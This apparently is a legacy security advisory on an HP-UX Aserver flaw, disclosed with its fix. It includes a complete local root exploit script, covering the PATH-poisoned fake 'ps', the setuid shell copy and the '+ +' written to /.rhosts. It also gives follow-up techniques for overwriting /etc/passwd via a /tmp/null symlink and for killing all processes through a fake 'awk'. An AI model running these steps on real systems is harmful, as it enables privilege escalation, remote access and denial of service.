|
Vulnerability /opt/audio/bin/Aserver Affected HP9000 Series 7/800 running HP-UX releases 10.X and 11.X Description 'Loneguard' posted following. It's aserver exploit which will make .rhosts for you: #!/bin/sh # # HP-UX aserver.sh - Loneguard 18/10/98 # Simple no brainer path poison followed by a twist [ inspired by DC ;) ] # cd /var/tmp cat < _EOF > ps #!/bin/sh cp /bin/csh /var/tmp/.foosh chmod 4755 /var/tmp/.foosh _EOF chmod 755 ps PATH=.:$PATH /opt/audio/bin/Aserver -f if [ -e /var/tmp/.foosh ] # Hmmm, you not like that technique? cd /tmp rm last_uuid ln -s /.rhosts last_uuid /opt/audio/bin/Aserver -f echo "+ +" > /.rhosts # Haha, my Kungfu is the best! fi echo Crazy MONKEY! Justin Tripp was intrigued by aserver.sh exploit script posted by Loneguard and decided to do some of his own investigation. The results are as follows: 1. Aserver will not run on a machine that does not have Audio Hardware. Thus all beep only machines are safe. (e.g. 705?,710,720,730,750, etc.) 800s may or may not have audio hardware (little experience with them). If you try to run Aserver it poops out: failed to open /dev/audioIL - Aserver exiting 2. There are atleast two different (if not three) versions of Aserver. Due to Y2K Justinn only had access to two (since almost all the machines available had the lastest and greatest patches). oldmach> what /opt/audio/bin/Aserver /opt/audio/bin/Aserver: X Window System, Version 11 R5+ HP-UX B.10.10.00 Oct 1998 Patch Release (build date: Wed Oct 14 06:02:49 MDT 1998) newmach> what /opt/audio/bin/Aserver /opt/audio/bin/Aserver: X Window System, Version 11 R5+ HP-UX B.10.10.00 June 1999 Patch Release (build date: Thu Jun 3 22:18:56 MDT 1999) The lastest patches probably bring your Aserver to the Jun99 version. But the Oct98 version is also fairly current. 3. Aserver seems to have some system() calls that run external unix commands. strings reveals the nature of the commands: Oct98 ps -e | grep Aserver | grep -v grep | grep -v %s > /dev/null Jun99 /usr/bin/ps -e | /usr/bin/grep Aserver | /usr/bin/grep -v grep | /usr/bin/grep -v %s > /tmp/null kill `awk '{print $1}' /tmp/null` 2>/dev/null 4. Loneguard's script only worked partially on the Oct98 version of Aserver. Loneguards script does not work at all with the Jun99 version. The Jun99 version can be exploited too, but in a different way. Loneguard's script uses the fact that the path is not specifed in the system call and thus you can substitute your own version of ps for the one that is to be called. Since you can change the path ordering it is possible to run whatever commands you want as root. Justin was unable to duplicate the bad permissions on the temporary file /tmp/last_uuid. Neither version of Aserver had that file name in the binary nor did they seem to create it. The Jun99 version foils this by putting the path in for every command. But they give you some more weapons that make things just as easy. Instead of ignoring the output, Aserver saves the output into file /tmp/null. Since it does this as system command, the program does not check to see if file already exists or not, so if there is some troublesome file or something you want to over write simply: ln -s /etc/passwd /tmp/null And then the file will be overwritten. Reboot the HP box and it will beg your for a root password(seriously). Unfortunately the only thing that goes into /tmp/null is the output from ps -e (but maybe somebody can figure out a way to make + + appear in that). It is funny that HP fixed their earlier problem in the Oct98 version of Aserver in the Jun99 version, but they introduced the same problem in a different way. Aserver -f is used to force the Aserver to replace the currently running copy. (Aserver has the habit of failling or doing weird things.) So the Jun99 version looks for running copies and then kills them with the kill statement: kill `awk '{print $1}' /tmp/null` 2>/dev/null Well looky here we can write a script named 'awk' and place it before /bin in my execution path and do the same thing with the Jun99 version as we can with the Oct98. An attempt was made to fix it, but it introduced the same bug again... The above system call could also be used as a process killer. Since you can rewrite what awk will return, you could have it echo "-1" and take the whole box down. Feel free to be creative. Solution Until a patch is available, the only two temporary fixes currently available are to disable /opt/audio/bin/Aserver by removing the file, or to remove execute permissions as follows. As root remove functionality with: chmod 555 /opt/audio/bin/Aserver Until a patch is available that fixes the problem installing an Aserver patch will restore the original permissions. It is safer to set the 555 permissions each time the system is started. One way to do that is to create /sbin/rc2.d/S769audio with 555 permissions containing the following script: #!/sbin/sh PATH=/sbin:/usr/sbin:/usr/bin export PATH case $1 in start_msg) echo "chmod 555 /opt/audio/bin/Aserver" ;; 'start') chmod 555 /opt/audio/bin/Aserver ;; *) echo "usage: $0 start" ;; esac exit 0